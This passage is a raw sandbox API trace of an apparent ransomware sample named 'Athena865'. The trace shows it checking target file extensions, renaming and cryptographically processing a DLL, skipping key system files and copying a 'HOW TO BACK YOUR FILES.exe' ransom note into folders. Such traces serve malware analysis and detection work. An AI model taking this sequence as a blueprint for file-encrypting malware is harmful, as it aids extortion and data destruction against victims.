(lpString="fol") returned 3 [0111.566] lstrcmpiW (lpString1="DLL", lpString2="fol") returned -1 [0111.566] lstrlenW (lpString="fp3") returned 3 [0111.567] lstrcmpiW (lpString1="DLL", lpString2="fp3") returned -1 [0111.567] lstrlenW (lpString="fp4") returned 3 [0111.567] lstrcmpiW (lpString1="DLL", lpString2="fp4") returned -1 [0111.567] lstrlenW (lpString="fp5") returned 3 [0111.567] lstrcmpiW (lpString1="DLL", lpString2="fp5") returned -1 [0111.567] lstrlenW (lpString="fp7") returned 3 [0111.567] lstrcmpiW (lpString1="DLL", lpString2="fp7") returned -1 [0111.567] lstrlenW (lpString="fpt") returned 3 [0111.567] lstrcmpiW (lpString1="DLL", lpString2="fpt") returned -1 [0111.567] lstrlenW (lpString="frm") returned 3 [0111.567] lstrcmpiW (lpString1="DLL", lpString2="frm") returned -1 [0111.567] lstrlenW (lpString="gdb") returned 3 [0111.567] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0111.567] lstrlenW (lpString="gdb") returned 3 [0111.567] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0111.567] lstrlenW (lpString="grdb") returned 4 [0111.567] lstrcmpiW (lpString1=".DLL", lpString2="grdb") returned -1 [0111.567] lstrlenW (lpString="gwi") returned 3 [0111.567] lstrcmpiW (lpString1="DLL", lpString2="gwi") returned -1 [0111.567] lstrlenW (lpString="hdb") returned 3 [0111.567] lstrcmpiW (lpString1="DLL", lpString2="hdb") returned -1 [0111.567] lstrlenW (lpString="his") returned 3 [0111.567] lstrcmpiW (lpString1="DLL", lpString2="his") returned -1 [0111.567] lstrlenW (lpString="ib") returned 2 [0111.567] lstrcmpiW (lpString1="LL", lpString2="ib") returned 1 [0111.567] lstrlenW (lpString="idb") returned 3 [0111.567] lstrcmpiW (lpString1="DLL", lpString2="idb") returned -1 [0111.567] lstrlenW (lpString="ihx") returned 3 [0111.567] lstrcmpiW (lpString1="DLL", lpString2="ihx") returned -1 [0111.567] lstrlenW (lpString="itdb") returned 4 [0111.567] lstrcmpiW (lpString1=".DLL", lpString2="itdb") returned -1 [0111.568] lstrlenW (lpString="itw") returned 3 [0111.568] lstrcmpiW (lpString1="DLL", lpString2="itw") returned -1 [0111.568] lstrlenW (lpString="jet") returned 3 [0111.568] lstrcmpiW (lpString1="DLL", lpString2="jet") returned -1 [0111.568] lstrlenW (lpString="jtx") returned 3 [0111.568] lstrcmpiW (lpString1="DLL", lpString2="jtx") returned -1 [0111.568] lstrlenW (lpString="kdb") returned 3 [0111.568] lstrcmpiW (lpString1="DLL", lpString2="kdb") returned -1 [0111.568] lstrlenW (lpString="kexi") returned 4 [0111.568] lstrcmpiW (lpString1=".DLL", lpString2="kexi") returned -1 [0111.568] lstrlenW (lpString="kexic") returned 5 [0111.568] lstrcmpiW (lpString1="M.DLL", lpString2="kexic") returned 1 [0111.568] lstrlenW (lpString="kexis") returned 5 [0111.568] lstrcmpiW (lpString1="M.DLL", lpString2="kexis") returned 1 [0111.568] lstrlenW (lpString="lgc") returned 3 [0111.568] lstrcmpiW (lpString1="DLL", lpString2="lgc") returned -1 [0111.568] lstrlenW (lpString="lwx") returned 3 [0111.568] lstrcmpiW (lpString1="DLL", lpString2="lwx") returned -1 [0111.568] lstrlenW (lpString="maf") returned 3 [0111.568] lstrcmpiW (lpString1="DLL", lpString2="maf") returned -1 [0111.568] lstrlenW (lpString="maq") returned 3 [0111.568] lstrcmpiW (lpString1="DLL", lpString2="maq") returned -1 [0111.568] lstrlenW (lpString="mar") returned 3 [0111.568] lstrcmpiW (lpString1="DLL", lpString2="mar") returned -1 [0111.568] lstrlenW (lpString="marshal") returned 7 [0111.568] lstrcmpiW (lpString1="CDM.DLL", lpString2="marshal") returned -1 [0111.568] lstrlenW (lpString="mas") returned 3 [0111.568] lstrcmpiW (lpString1="DLL", lpString2="mas") returned -1 [0111.568] lstrlenW (lpString="mav") returned 3 [0111.568] lstrcmpiW (lpString1="DLL", lpString2="mav") returned -1 [0111.568] lstrlenW (lpString="maw") returned 3 [0111.569] lstrcmpiW (lpString1="DLL", lpString2="maw") returned -1 [0111.569] lstrlenW (lpString="mdbhtml") returned 7 [0111.569] lstrcmpiW (lpString1="CDM.DLL", lpString2="mdbhtml") returned -1 [0111.569] lstrlenW (lpString="mdn") returned 3 [0111.569] lstrcmpiW (lpString1="DLL", lpString2="mdn") returned -1 [0111.569] lstrlenW (lpString="mdt") returned 3 [0111.569] lstrcmpiW (lpString1="DLL", lpString2="mdt") returned -1 [0111.569] lstrlenW (lpString="mfd") returned 3 [0111.569] lstrcmpiW (lpString1="DLL", lpString2="mfd") returned -1 [0111.569] lstrlenW (lpString="mpd") returned 3 [0111.569] lstrcmpiW (lpString1="DLL", lpString2="mpd") returned -1 [0111.569] lstrlenW (lpString="mrg") returned 3 [0111.569] lstrcmpiW (lpString1="DLL", lpString2="mrg") returned -1 [0111.569] lstrlenW (lpString="mud") returned 3 [0111.569] lstrcmpiW (lpString1="DLL", lpString2="mud") returned -1 [0111.569] lstrlenW (lpString="mwb") returned 3 [0111.569] lstrcmpiW (lpString1="DLL", lpString2="mwb") returned -1 [0111.569] lstrlenW (lpString="myd") returned 3 [0111.569] lstrcmpiW (lpString1="DLL", lpString2="myd") returned -1 [0111.569] lstrlenW (lpString="ndf") returned 3 [0111.569] lstrcmpiW (lpString1="DLL", lpString2="ndf") returned -1 [0111.569] lstrlenW (lpString="nnt") returned 3 [0111.569] lstrcmpiW (lpString1="DLL", lpString2="nnt") returned -1 [0111.569] lstrlenW (lpString="nrmlib") returned 6 [0111.569] lstrcmpiW (lpString1="DM.DLL", lpString2="nrmlib") returned -1 [0111.569] lstrlenW (lpString="ns2") returned 3 [0111.569] lstrcmpiW (lpString1="DLL", lpString2="ns2") returned -1 [0111.569] lstrlenW (lpString="ns3") returned 3 [0111.569] lstrcmpiW (lpString1="DLL", lpString2="ns3") returned -1 [0111.569] lstrlenW (lpString="ns4") returned 3 [0111.570] lstrcmpiW (lpString1="DLL", lpString2="ns4") returned -1 [0111.570] lstrlenW (lpString="nsf") returned 3 [0111.570] lstrcmpiW (lpString1="DLL", lpString2="nsf") returned -1 [0111.570] lstrlenW (lpString="nv") returned 2 [0111.570] lstrcmpiW (lpString1="LL", lpString2="nv") returned -1 [0111.570] lstrlenW (lpString="nv2") returned 3 [0111.570] lstrcmpiW (lpString1="DLL", lpString2="nv2") returned -1 [0111.570] lstrlenW (lpString="nwdb") returned 4 [0111.570] lstrcmpiW (lpString1=".DLL", lpString2="nwdb") returned -1 [0111.570] lstrlenW (lpString="nyf") returned 3 [0111.570] lstrcmpiW (lpString1="DLL", lpString2="nyf") returned -1 [0111.570] lstrlenW (lpString="odb") returned 3 [0111.570] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0111.570] lstrlenW (lpString="odb") returned 3 [0111.570] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0111.570] lstrlenW (lpString="oqy") returned 3 [0111.570] lstrcmpiW (lpString1="DLL", lpString2="oqy") returned -1 [0111.570] lstrlenW (lpString="ora") returned 3 [0111.570] lstrcmpiW (lpString1="DLL", lpString2="ora") returned -1 [0111.570] lstrlenW (lpString="orx") returned 3 [0111.570] lstrcmpiW (lpString1="DLL", lpString2="orx") returned -1 [0111.570] lstrlenW (lpString="owc") returned 3 [0111.570] lstrcmpiW (lpString1="DLL", lpString2="owc") returned -1 [0111.570] lstrlenW (lpString="p96") returned 3 [0111.570] lstrcmpiW (lpString1="DLL", lpString2="p96") returned -1 [0111.570] lstrlenW (lpString="p97") returned 3 [0111.570] lstrcmpiW (lpString1="DLL", lpString2="p97") returned -1 [0111.570] lstrlenW (lpString="pan") returned 3 [0111.570] lstrcmpiW (lpString1="DLL", lpString2="pan") returned -1 [0111.570] lstrlenW (lpString="pdb") returned 3 [0111.570] lstrcmpiW (lpString1="DLL", lpString2="pdb") returned -1 [0111.571] lstrlenW (lpString="pdm") returned 3 [0111.571] lstrcmpiW (lpString1="DLL", lpString2="pdm") returned -1 [0111.571] lstrlenW (lpString="pnz") returned 3 [0111.571] lstrcmpiW (lpString1="DLL", lpString2="pnz") returned -1 [0111.571] lstrlenW (lpString="qry") returned 3 [0111.571] lstrcmpiW (lpString1="DLL", lpString2="qry") returned -1 [0111.571] lstrlenW (lpString="qvd") returned 3 [0111.571] lstrcmpiW (lpString1="DLL", lpString2="qvd") returned -1 [0111.571] lstrlenW (lpString="rbf") returned 3 [0111.571] lstrcmpiW (lpString1="DLL", lpString2="rbf") returned -1 [0111.571] lstrlenW (lpString="rctd") returned 4 [0111.571] lstrcmpiW (lpString1=".DLL", lpString2="rctd") returned -1 [0111.571] lstrlenW (lpString="rod") returned 3 [0111.571] lstrcmpiW (lpString1="DLL", lpString2="rod") returned -1 [0111.571] lstrlenW (lpString="rodx") returned 4 [0111.571] lstrcmpiW (lpString1=".DLL", lpString2="rodx") returned -1 [0111.571] lstrlenW (lpString="rpd") returned 3 [0111.571] lstrcmpiW (lpString1="DLL", lpString2="rpd") returned -1 [0111.571] lstrlenW (lpString="rsd") returned 3 [0111.571] lstrcmpiW (lpString1="DLL", lpString2="rsd") returned -1 [0111.571] lstrlenW (lpString="sas7bdat") returned 8 [0111.571] lstrcmpiW (lpString1="SCDM.DLL", lpString2="sas7bdat") returned 1 [0111.571] lstrlenW (lpString="sbf") returned 3 [0111.571] lstrcmpiW (lpString1="DLL", lpString2="sbf") returned -1 [0111.571] lstrlenW (lpString="scx") returned 3 [0111.571] lstrcmpiW (lpString1="DLL", lpString2="scx") returned -1 [0111.571] lstrlenW (lpString="sdb") returned 3 [0111.571] lstrcmpiW (lpString1="DLL", lpString2="sdb") returned -1 [0111.571] lstrlenW (lpString="sdc") returned 3 [0111.571] lstrcmpiW (lpString1="DLL", lpString2="sdc") returned -1 [0111.571] lstrlenW (lpString="sdf") returned 3 [0111.572] lstrcmpiW (lpString1="DLL", lpString2="sdf") returned -1 [0111.572] lstrlenW (lpString="sis") returned 3 [0111.572] lstrcmpiW (lpString1="DLL", lpString2="sis") returned -1 [0111.572] lstrlenW (lpString="spq") returned 3 [0111.572] lstrcmpiW (lpString1="DLL", lpString2="spq") returned -1 [0111.572] lstrlenW (lpString="te") returned 2 [0111.572] lstrcmpiW (lpString1="LL", lpString2="te") returned -1 [0111.572] lstrlenW (lpString="teacher") returned 7 [0111.572] lstrcmpiW (lpString1="CDM.DLL", lpString2="teacher") returned -1 [0111.572] lstrlenW (lpString="tmd") returned 3 [0111.572] lstrcmpiW (lpString1="DLL", lpString2="tmd") returned -1 [0111.572] lstrlenW (lpString="tps") returned 3 [0111.572] lstrcmpiW (lpString1="DLL", lpString2="tps") returned -1 [0111.572] lstrlenW (lpString="trc") returned 3 [0111.572] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0111.572] lstrlenW (lpString="trc") returned 3 [0111.572] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0111.572] lstrlenW (lpString="trm") returned 3 [0111.572] lstrcmpiW (lpString1="DLL", lpString2="trm") returned -1 [0111.572] lstrlenW (lpString="udb") returned 3 [0111.572] lstrcmpiW (lpString1="DLL", lpString2="udb") returned -1 [0111.572] lstrlenW (lpString="udl") returned 3 [0111.572] lstrcmpiW (lpString1="DLL", lpString2="udl") returned -1 [0111.572] lstrlenW (lpString="usr") returned 3 [0111.572] lstrcmpiW (lpString1="DLL", lpString2="usr") returned -1 [0111.572] lstrlenW (lpString="v12") returned 3 [0111.572] lstrcmpiW (lpString1="DLL", lpString2="v12") returned -1 [0111.572] lstrlenW (lpString="vis") returned 3 [0111.572] lstrcmpiW (lpString1="DLL", lpString2="vis") returned -1 [0111.572] lstrlenW (lpString="vpd") returned 3 [0111.572] lstrcmpiW (lpString1="DLL", lpString2="vpd") returned -1 [0111.573] lstrlenW (lpString="vvv") returned 3 [0111.573] lstrcmpiW (lpString1="DLL", lpString2="vvv") returned -1 [0111.573] lstrlenW (lpString="wdb") returned 3 [0111.573] lstrcmpiW (lpString1="DLL", lpString2="wdb") returned -1 [0111.573] lstrlenW (lpString="wmdb") returned 4 [0111.573] lstrcmpiW (lpString1=".DLL", lpString2="wmdb") returned -1 [0111.573] lstrlenW (lpString="wrk") returned 3 [0111.573] lstrcmpiW (lpString1="DLL", lpString2="wrk") returned -1 [0111.573] lstrlenW (lpString="xdb") returned 3 [0111.573] lstrcmpiW (lpString1="DLL", lpString2="xdb") returned -1 [0111.573] lstrlenW (lpString="xld") returned 3 [0111.573] lstrcmpiW (lpString1="DLL", lpString2="xld") returned -1 [0111.573] lstrlenW (lpString="xmlff") returned 5 [0111.573] lstrcmpiW (lpString1="M.DLL", lpString2="xmlff") returned -1 [0111.573] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL.Athena865") returned 82 [0111.573] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\msclientdatamgr\\mscdm.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\msclientdatamgr\\mscdm.dll.athena865"), dwFlags=0x1) returned 1 [0111.574] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\msclientdatamgr\\mscdm.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0111.574] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=419232) returned 1 [0111.574] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0111.574] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538d20 [0111.574] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5191a0 [0111.575] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519cc8) returned 1 [0111.575] CryptGenRandom (in: hProv=0x519cc8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0111.575] CryptReleaseContext (hProv=0x519cc8, dwFlags=0x0) returned 1 [0111.575] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x668a0, lpName=0x0) returned 0x154 [0111.577] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x668a0) returned 0x2d50000 [0111.596] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519cc8) returned 1 [0111.596] CryptGenRandom (in: hProv=0x519cc8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0111.597] CryptReleaseContext (hProv=0x519cc8, dwFlags=0x0) returned 1 [0111.597] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540cd0 [0111.597] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540cd0 | out: hHeap=0x4f0000) returned 1 [0111.597] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54dd40 [0111.597] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0111.597] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0111.597] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0111.597] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54dd40 [0111.597] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0111.597] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0111.597] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0111.597] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0111.601] CloseHandle (hObject=0x154) returned 1 [0111.601] CloseHandle (hObject=0x17c) returned 1 [0111.601] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538d20 | out: hHeap=0x4f0000) returned 1 [0111.601] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5191a0 | out: hHeap=0x4f0000) returned 1 [0111.601] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0111.603] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad59fd00, ftCreationTime.dwHighDateTime=0x1ca9454, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xad59fd00, ftLastWriteTime.dwHighDateTime=0x1ca9454, nFileSizeHigh=0x0, nFileSizeLow=0x665a0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSCDM.DLL", cAlternateFileName="")) returned 0 [0111.603] FindClose (in: hFindFile=0x529bd0 | out: hFindFile=0x529bd0) returned 1 [0111.603] ReleaseMutex (hMutex=0xec) returned 1 [0111.603] CloseHandle (hObject=0xec) returned 1 [0111.603] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo" [0111.603] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538d98 | out: hHeap=0x4f0000) returned 1 [0111.603] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f5b0 | out: hHeap=0x4f0000) returned 1 [0111.603] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo") returned 53 [0111.603] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\38F2C609A9A276515D9553A0B28834CD") returned 0xec [0111.603] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0111.603] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo" [0111.603] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0111.603] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\how to back your files.exe"), bFailIfExists=1) returned 0 [0111.604] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0111.604] GetLastError () returned 0x0 [0111.604] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0111.604] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x54dd40 [0111.604] ReadFile (in: hFile=0xf4, lpBuffer=0x54dd40, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x54dd40*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0111.605] CloseHandle (hObject=0xf4) returned 1 [0111.605] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0111.605] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0111.605] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xce041f60, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xce041f60, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0111.606] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0111.606] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0111.606] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0111.606] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xce041f60, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xce041f60, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0111.606] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0111.606] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0111.606] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0111.606] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0111.606] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0111.606] lstrcmpiW (lpString1="en-US", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0111.606] lstrcmpiW (lpString1="en-US", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0111.606] lstrcmpiW (lpString1="en-US", lpString2=".") returned 1 [0111.606] lstrcmpiW (lpString1="en-US", lpString2="..") returned 1 [0111.606] lstrcmpiW (lpString1="en-US", lpString2="windows") returned -1 [0111.606] lstrcmpiW (lpString1="en-US", lpString2="bootmgr") returned 1 [0111.606] lstrcmpiW (lpString1="en-US", lpString2="temp") returned -1 [0111.606] lstrcmpiW (lpString1="en-US", lpString2="pagefile.sys") returned -1 [0111.606] lstrcmpiW (lpString1="en-US", lpString2="boot") returned 1 [0111.606] lstrcmpiW (lpString1="en-US", lpString2="ids.txt") returned -1 [0111.606] lstrcmpiW (lpString1="en-US", lpString2="ntuser.dat") returned -1 [0111.606] lstrcmpiW (lpString1="en-US", lpString2="perflogs") returned -1 [0111.606] lstrcmpiW (lpString1="en-US", lpString2="MSBuild") returned -1 [0111.606] lstrlenW (lpString="en-US") returned 5 [0111.606] lstrcpyW (in: lpString1=0x241e8b4, lpString2="en-US" | out: lpString1="en-US") returned="en-US" [0111.606] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52f5b0 [0111.606] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x78) returned 0x53c4a0 [0111.606] lstrcatW (in: lpString1="en-US", lpString2="\\" | out: lpString1="en-US\\") returned="en-US\\" [0111.607] lstrcatW (in: lpString1="en-US\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="en-US\\HOW TO BACK YOUR FILES.exe") returned="en-US\\HOW TO BACK YOUR FILES.exe" [0111.607] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\en-us\\how to back your files.exe"), bFailIfExists=1) returned 1 [0111.609] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce041f60, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xce041f60, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0111.609] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0111.609] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x830a4e7c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x830a4e7c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x830cafdd, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5c800, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="msinfo32.exe", cAlternateFileName="")) returned 1 [0111.609] lstrcmpiW (lpString1="msinfo32.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0111.609] lstrcmpiW (lpString1="msinfo32.exe", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0111.609] lstrcmpiW (lpString1="msinfo32.exe", lpString2=".") returned 1 [0111.609] lstrcmpiW (lpString1="msinfo32.exe", lpString2="..") returned 1 [0111.609] lstrcmpiW (lpString1="msinfo32.exe", lpString2="windows") returned -1 [0111.609] lstrcmpiW (lpString1="msinfo32.exe", lpString2="bootmgr") returned 1 [0111.609] lstrcmpiW (lpString1="msinfo32.exe", lpString2="temp") returned -1 [0111.609] lstrcmpiW (lpString1="msinfo32.exe", lpString2="pagefile.sys") returned -1 [0111.609] lstrcmpiW (lpString1="msinfo32.exe", lpString2="boot") returned 1 [0111.609] lstrcmpiW (lpString1="msinfo32.exe", lpString2="ids.txt") returned 1 [0111.609] lstrcmpiW (lpString1="msinfo32.exe", lpString2="ntuser.dat") returned -1 [0111.609] lstrcmpiW (lpString1="msinfo32.exe", lpString2="perflogs") returned -1 [0111.609] lstrcmpiW (lpString1="msinfo32.exe", lpString2="MSBuild") returned 1 [0111.609] lstrlenW (lpString="msinfo32.exe") returned 12 [0111.609] lstrcpyW (in: lpString1=0x241e8b4, lpString2="msinfo32.exe" | out: lpString1="msinfo32.exe") returned="msinfo32.exe" [0111.609] lstrlenW (lpString="msinfo32.exe") returned 12 [0111.609] lstrlenW (lpString="Athena865") returned 9 [0111.609] lstrcmpiW (lpString1="nfo32.exe", lpString2="Athena865") returned 1 [0111.609] lstrlenW (lpString=".dll") returned 4 [0111.609] lstrcmpiW (lpString1="msinfo32.exe", lpString2=".dll") returned 1 [0111.609] lstrlenW (lpString=".lnk") returned 4 [0111.610] lstrcmpiW (lpString1="msinfo32.exe", lpString2=".lnk") returned 1 [0111.610] lstrlenW (lpString=".ini") returned 4 [0111.610] lstrcmpiW (lpString1="msinfo32.exe", lpString2=".ini") returned 1 [0111.610] lstrlenW (lpString=".sys") returned 4 [0111.610] lstrcmpiW (lpString1="msinfo32.exe", lpString2=".sys") returned 1 [0111.610] lstrlenW (lpString="msinfo32.exe") returned 12 [0111.610] lstrlenW (lpString="bak") returned 3 [0111.610] lstrcmpiW (lpString1="exe", lpString2="bak") returned 1 [0111.610] lstrlenW (lpString="ba_") returned 3 [0111.610] lstrcmpiW 